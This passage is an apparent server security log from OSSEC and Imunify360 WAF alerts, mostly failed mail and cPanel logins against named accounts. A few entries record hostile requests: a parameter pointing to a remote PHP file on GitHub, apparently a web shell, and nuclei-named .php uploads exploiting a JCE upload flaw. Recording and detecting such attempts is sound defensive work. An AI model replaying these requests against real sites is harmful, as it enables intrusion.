plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-19 07:33:44 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [41.207.248.138]:42741: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-19 07:33:58 dovecot_login authenticator failed for H=([149.54.33.150]) [190.67.106.221]:39872: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-19 07:35:30 dovecot_login authenticator failed for H=([117.247.239.202]) [50.212.27.150]:42306: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.107.163.195
country_id: 3932488
description:
2026-07-19 07:38:02 dovecot_login authenticator failed for H=([184.181.217.198]) [200.107.163.195]:16300: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 107.175.90.25
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://Kings96.net/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-19 07:40:07 dovecot_login authenticator failed for H=(200-168-249-9.sconline.com.br) [102.210.148.41]:60648: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.187.213.29
country_id: 6252001
description:
2026-07-19 07:40:17 dovecot_login authenticator failed for H=(syn-098-122-215-023.res.spectrum.com) [24.187.213.29]:38228: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 154.218.210.66
country_id: 3625428
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/video-conferencing-cameras HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-19 07:56:49 dovecot_login authenticator failed for H=([72.195.114.188]) [63.78.215.208]:42283: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.192.159.96
country_id: 3017382
description:
2026-07-19 07:57:05 dovecot_login authenticator failed for H=xdsl.62.192.159.96.srvc.fr ([125.17.225.97]) [62.192.159.96]:51380: 535 Incorrect authentication data (set_id=dins.info)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvacservice1.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.76.203
country_id: 1269750
description:
2026-07-19 08:00:05 dovecot_login authenticator failed for H=(188-122-39-33.xdsl.5gdsl.com) [106.201.76.203]:5389: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 72.195.34.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.79zsw.com\">79\xe6\x8b\x9b\xe7\x94\x9f\xe7\xbd\x91\xe5\x8a\xa0\xe7\x9b\x9f\xe5\xae\x98\xe7\xbd\x91</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-19 08:00:14 dovecot_login authenticator failed for H=([36.135.62.96]) [65.20.153.146]:44581: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.10.134.170
country_id: 1210997
description:
2026-07-19 08:02:58 dovecot_login authenticator failed for H=([49.124.151.59]) [157.10.134.170]:57504: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.184.112.188
country_id: 953987
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/pure-accoustics-speakers?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 38.248.19.103
country_id: 1643084
domain: ogocindia.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/haxorsme/kudakepalatigakakilima/refs/heads/main/aw.php||User:ogocindia||SC:/home/ogocindia/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.10.25.75
country_id: 3865483
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/lighting-control-systems HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.213.59
country_id: 1269750
description:
2026-07-19 08:11:20 dovecot_login authenticator failed for H=(176-111-152-79.airmax.pl) [182.66.213.59]:37124: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.183.228.238
country_id: 1880251
description:
2026-07-19 08:11:50 dovecot_login authenticator failed for H=(ip-199-102-107-147.hosts.zerolag.com) [68.183.228.238]:36624: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.253.122
country_id: 1269750
description:
2026-07-19 08:11:57 dovecot_login authenticator failed for H=(ipmapt-72-195-34-50.oc.oc.cox.net) [128.185.253.122]:50788: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-19 08:15:42 dovecot_login authenticator failed for H=(111-70-9-87.emome-ip.hinet.net) [65.20.205.197]:51567: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.221.227.47
country_id: 2077456
description:
2026-07-19 08:15:52 dovecot_login authenticator failed for H=([223.210.27.53]) [203.221.227.47]:36567: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.88.34.202
country_id: 1327865
description:
2026-07-19 08:19:08 dovecot_plain authenticator failed for H=(localhost) [120.88.34.202]:28469: 535 Incorrect authentication data (set_id=support@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.150.106
country_id: 1269750
description:
2026-07-19 08:19:50 dovecot_login authenticator failed for H=(144.121.245.65.lightower.net) [182.95.150.106]:33014: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.229.251
country_id: 1522867
description:
2026-07-19 08:20:00 dovecot_login authenticator failed for H=2.133.229.251.dynamic.telecom.kz (m121-202-146-144.smartone.com) [2.133.229.251]:51439: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.10
country_id: 1733045
description:
2026-07-19 08:19:33 dovecot_login authenticator failed for H=([220.82.50.65]) [49.124.151.10]:50126: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.171.43.162
country_id: 1733045
description:
2026-07-19 08:39:49 dovecot_login authenticator failed for H=(171-100-121-127.static.asianet.co.th) [202.171.43.162]:39922: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-19 08:41:24 dovecot_login authenticator failed for H=([49.124.153.59]) [121.131.220.137]:39695: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.54.46.224
country_id: 357994
description:
2026-07-19 08:41:27 dovecot_login authenticator failed for H=(91-211-23-39.atstelecom.ru) [217.54.46.224]:35548: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.192.159.96
country_id: 3017382
description:
2026-07-19 08:41:35 dovecot_login authenticator failed for H=xdsl.62.192.159.96.srvc.fr (111-70-32-50.emome-ip.hinet.net) [62.192.159.96]:55608: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.90.79.30
country_id: 3686110
description:
2026-07-19 08:41:45 dovecot_login authenticator failed for H=([46.163.174.216]) [190.90.79.30]:38364: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-19 08:47:06 dovecot_login authenticator failed for H=(170.193.235.186.in-addr.arpa.verointernet.com.br) [197.219.208.38]:32878: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.49.214.52
country_id: 1835841
description:
2026-07-19 08:46:23 dovecot_login authenticator failed for H=([167.114.152.101]) [14.49.214.52]:47932: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.51
country_id: 1733045
description:
2026-07-19 08:46:40 dovecot_login authenticator failed for H=([195.43.186.53]) [49.124.151.51]:57106: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-19 08:46:53 dovecot_login authenticator failed for H=([219.153.81.22]) [121.148.184.47]:35199: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.114.8
country_id: 1668284
description:
2026-07-19 08:51:10 dovecot_login authenticator failed for H=110-25-114-8.adsl.fetnet.net ([61.142.85.190]) [110.25.114.8]:58315: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-07-19 08:51:20 dovecot_login authenticator failed for H=mail.sotus.co.th ([70.166.167.48]) [171.100.156.38]:51275: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.174.170.34
country_id: 6252001
description:
2026-07-19 08:55:04 dovecot_login authenticator failed for H=(undefined.hostname.localhost) [70.174.170.34]:35322: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.152
country_id: 1835841
description:
2026-07-19 08:55:16 dovecot_login authenticator failed for H=(189-108-225-38.customer.tdatabrasil.net.br) [183.104.220.152]:42096: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-19 09:03:40 dovecot_login authenticator failed for H=([70.166.167.33]) [119.92.76.210]:42524: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-19 09:03:44 dovecot_login authenticator failed for H=([49.124.152.179]) [193.46.192.20]:52262: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-19 09:04:04 dovecot_login authenticator failed for H=([94.233.26.154]) [182.95.101.182]:39976: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.247.116.191
country_id: 3865483
description:
2026-07-19 09:03:27 dovecot_login authenticator failed for H=([174.77.111.220]) [190.247.116.191]:34843: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.131
country_id: 1522867
description:
2026-07-19 09:05:45 dovecot_login authenticator failed for H=([59.12.212.38]) [37.208.46.131]:53236: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-19 09:06:20 dovecot_login authenticator failed for H=([74.119.144.57]) [119.152.102.54]:41883: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.197.6.173
country_id: 3017382
description:
2026-07-19 09:06:30 dovecot_login authenticator failed for H=([49.124.155.175]) [78.197.6.173]:54492: 535 Incorrect authentication data (set_id=khalid)


plugin: modsec
rule: 77472029
name: IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)
abuser: 74.249.245.134
country_id: 6252001
domain: cpcontacts.kallanigroup.com
description:
IM360 WAF: [monitor] PHP execution under wp-content/uploads (WPT-2631 attack-surface tracking)||MV:/wp-content/uploads/min.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.24
country_id: 1668284
description:
2026-07-19 09:11:06 dovecot_login authenticator failed for H=221-120-73-24.emome-ip.hinet.net ([111.62.173.90]) [221.120.73.24]:52629: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.140.206.73
country_id: 3686110
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/latest-news/actor-vishnu-govindan-shared-his-experience-at-metro-digital-media-home-theatre-review HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-19 09:11:19 dovecot_login authenticator failed for H=(host-46-160-165-239.ugmk-telecom.ru) [65.20.205.197]:39065: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.114.134.130
country_id: 2077456
description:
2026-07-19 09:11:34 dovecot_login authenticator failed for H=([128.185.116.114]) [193.114.134.130]:19185: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-19 09:11:44 dovecot_login authenticator failed for H=([124.239.169.52]) [23.30.11.253]:50680: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.6.6.66
country_id: 3932488
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.111.136.211
country_id: 294640
description:
2026-07-19 09:13:18 dovecot_login authenticator failed for H=([70.166.167.60]) [84.111.136.211]:59335: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.183.236.81
country_id: 6252001
description:
2026-07-19 09:13:54 dovecot_login authenticator failed for H=wsip-70-183-236-81.pn.at.cox.net ([218.156.38.44]) [70.183.236.81]:49887: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.38.177.105
country_id: 1835841
description:
2026-07-19 09:14:11 dovecot_login authenticator failed for H=(118-210-4-194.tpgi.com.au) [14.38.177.105]:48350: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.86.65
country_id: 1835841
description:
2026-07-19 09:14:28 dovecot_login authenticator failed for H=([138.118.213.68]) [183.104.86.65]:34666: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.227.228.131
country_id: 1835841
description:
2026-07-19 09:18:49 dovecot_login authenticator failed for H=([186.238.157.140]) [1.227.228.131]:50038: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-19 09:18:50 dovecot_login authenticator failed for H=([199.116.114.10]) [27.72.46.152]:39857: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.22.153
country_id: 1668284
description:
2026-07-19 09:19:00 dovecot_login authenticator failed for H=111-70-22-153.emome-ip.hinet.net ([70.166.167.42]) [111.70.22.153]:54038: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.9.176
country_id: 6252001
description:
2026-07-19 09:19:12 dovecot_login authenticator failed for H=([24.135.74.36]) [70.120.9.176]:62797: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.47.102
country_id: 1668284
description:
2026-07-19 09:19:19 dovecot_login authenticator failed for H=111-70-47-102.emome-ip.hinet.net ([198.8.94.171]) [111.70.47.102]:49016: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.0.113.110
country_id: 226074
description:
2026-07-19 09:19:45 dovecot_login authenticator failed for H=([62.220.236.203]) [196.0.113.110]:35099: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.74.91.50
country_id: 1269750
description:
2026-07-19 09:19:55 dovecot_login authenticator failed for H=(ipmapt-72-195-34-37.oc.oc.cox.net) [116.74.91.50]:64946: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 1.54.208.198
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/signature-elite-series-es35?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.56.28.18
country_id: 1168579
description:
2026-07-19 09:30:37 dovecot_login authenticator failed for H=([37.208.46.133]) [210.56.28.18]:35103: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.106.178.212
country_id: 1835841
description:
2026-07-19 09:31:01 dovecot_login authenticator failed for H=([207.219.221.101]) [183.106.178.212]:47421: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.137
country_id: 1835841
description:
2026-07-19 09:32:59 dovecot_login authenticator failed for H=([49.124.153.55]) [121.131.220.137]:37839: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.163
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.163||TA:192.186.151.163||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.164
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.164||TA:192.186.151.164||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.95.116.15
country_id: 3017382
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 demo crazytime (<a href=\"https://xdp3rrxbkop36cnmf3sswxud4avpdikdzv22srbaxwnlkf44xmla.cdn.ampproject.org/c/shinhwaspodium.com%2Fbbs%2Fboard.php%3Fbo_table%3Dfree%26wr_id%3D5015106\">xdp3rrxbkop36cnmf3sswxud4avpdikdzv22srbaxwnlkf44xmla.cdn.ampproject.org</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.153.13.153
country_id: 6252001
description:
2026-07-19 09:42:12 dovecot_login authenticator failed for H=([125.62.129.188]) [161.153.13.153]:55495: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-19 09:42:37 dovecot_login authenticator failed for H=(reverse.as200780.net) [14.46.58.104]:50008: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.95.24.117
country_id: 2464461
description:
2026-07-19 09:44:12 dovecot_login authenticator failed for H=([112.29.109.174]) [193.95.24.117]:47738: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.242.112.205
country_id: 1269750
description:
2026-07-19 09:44:21 dovecot_login authenticator failed for H=([36.135.62.79]) [121.242.112.205]:43592: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-19 09:44:23 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77469916
abuser: 118.96.202.26
country_id: 1643084
domain: yukticlick.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-bbc3b77326cf9b42a7bef315a123b9ea.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://clients.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-19 10:22:00 dovecot_login authenticator failed for H=([91.211.36.221]) [165.173.21.44]:53844: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.56.156.49
country_id: 3175395
description:
2026-07-19 10:22:12 dovecot_login authenticator failed for H=host-185-56-156-49.mywic.eu ([116.113.241.82]) [185.56.156.49]:55750: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77469916
abuser: 118.96.202.26
country_id: 1643084
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-08477fa7a0f905e347eb4f2e6f0b92c5.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.95.24.117
country_id: 2464461
description:
2026-07-19 10:26:59 dovecot_login authenticator failed for H=([119.192.219.77]) [193.95.24.117]:44112: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.105.141.172
country_id: 3923057
description:
2026-07-19 10:27:10 dovecot_login authenticator failed for H=static-200-105-141-172.acelerate.net ([213.65.190.48]) [200.105.141.172]:53208: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.133.229.251
country_id: 1522867
description:
2026-07-19 10:30:47 dovecot_login authenticator failed for H=2.133.229.251.dynamic.telecom.kz ([70.166.167.47]) [2.133.229.251]:54519: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.192.159.96
country_id: 3017382
description:
2026-07-19 10:30:56 dovecot_login authenticator failed for H=xdsl.62.192.159.96.srvc.fr (220-245-87-252.static.tpgi.com.au) [62.192.159.96]:47792: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.250
country_id: 1269750
description:
2026-07-19 10:30:23 dovecot_login authenticator failed for H=([42.248.129.234]) [122.187.230.250]:37991: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.116.72.42
country_id: 6252001
description:
[2026-07-19 10:43:37 +0530] info [whostmgrd] 50.116.72.42 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.104.220.195
country_id: 1835841
description:
2026-07-19 10:44:34 dovecot_login authenticator failed for H=([121.229.107.184]) [183.104.220.195]:45764: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.148.184.47
country_id: 1835841
description:
2026-07-19 10:44:14 dovecot_login authenticator failed for H=([102.211.7.162]) [121.148.184.47]:35684: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.162.9.13
country_id: 1835841
description:
2026-07-19 10:48:23 dovecot_login authenticator failed for H=([49.124.152.174]) [221.162.9.13]:48016: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-19 10:49:01 dovecot_login authenticator failed for H=(162-215-195-65.unifiedlayer.com) [65.73.230.102]:54222: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.161.126
country_id: 99237
description:
2026-07-19 10:50:23 dovecot_login authenticator failed for H=([95.82.7.89]) [65.20.161.126]:56101: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: interceptorglobal.in
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-119169f7742266d62c74f8a3c5b5b8d9.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-19 10:50:52 dovecot_login authenticator failed for H=([39.118.24.100]) [213.55.79.195]:47740: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.252.10.3
country_id: 1835841
description:
2026-07-19 10:52:28 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [203.252.10.3]:46010: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.191.142.67
country_id: 337996
description:
2026-07-19 10:53:00 dovecot_login authenticator failed for H=(201-234-106-215.static.impsat.net.ar) [196.191.142.67]:33640: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.51.12.142
country_id: 1835841
description:
2026-07-19 10:53:23 dovecot_login authenticator failed for H=([106.0.166.123]) [14.51.12.142]:46992: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-19 10:57:26 dovecot_login authenticator failed for H=([121.136.135.137]) [182.95.229.110]:44594: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-19 10:57:36 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([174.77.111.220]) [89.152.82.108]:55244: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.184.166.87
country_id: 1562822
domain: metrodigitals.com
description:
